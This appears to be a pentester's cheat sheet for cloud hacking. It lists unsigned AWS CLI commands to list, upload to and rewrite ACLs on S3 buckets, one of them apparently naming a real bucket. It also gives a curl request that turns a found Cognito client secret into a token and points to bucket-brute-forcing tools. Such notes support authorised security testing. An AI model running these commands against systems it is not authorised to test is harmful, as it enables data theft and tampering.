cloud-hacking

Cloud hacking

Index

• Resources
• Abusing S3 Bucket Permissions
• AWS Cognito
• Google Cloud Storage bucket

Resources

• cloud_metadata.txt, Cloud Metadata Dictionary useful for SSRF Testing

Abusing S3 Bucket Permissions

Target example: http://[name_of_bucket].s3.amazonaws.com

Read Permission

• aws s3 ls s3://[name_of_bucket] --no-sign-request
• aws s3 ls s3://pyx-pkgs --recursive --human-readable --summarize

Write Permission

• aws s3 cp localfile s3://[name_of_bucket]/test_file.txt –-no-sign-request

READ_ACP

• aws s3api get-bucket-acl --bucket [bucketname] --no-sign
• aws s3api get-object-acl --bucket [bucketname] --key index.html --no-sign-request

WRITE_ACP

• aws s3api put-bucket-acl --bucket [bucketname] [ACLPERMISSIONS] --no-sign-request
• aws s3api put-object-acl --bucket [bucketname] --key file.txt [ACLPERMISSIONS] --no-sign-request

Tools

• Anonymous Cloud
• AWS CLI
• S3Scanner A tool to find open S3 buckets and dump their contents
• Cloud - AWS Pentest
• s3enum
• To find secrets, you can use trufflehog.

Resources

• Abusing S3 Bucket Permissions
• Amazon S3: Allows read and write access to objects in an S3 Bucket

AWS Cognito

If you've found aws cognito client id and secret

1. clientID:clientSercret => base64KEY
2. curl -X POST 'https://xx.amazoncognito.com/oauth2/token' \ -H 'Authorization: Basic base64KEY'\ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'grant_type=client_credentials'
3. Source

Google Cloud Storage bucket

Tools

• Anonymous Cloud
• https://github.com/RhinoSecurityLabs/GCPBucketBrute

Resources

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
• https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/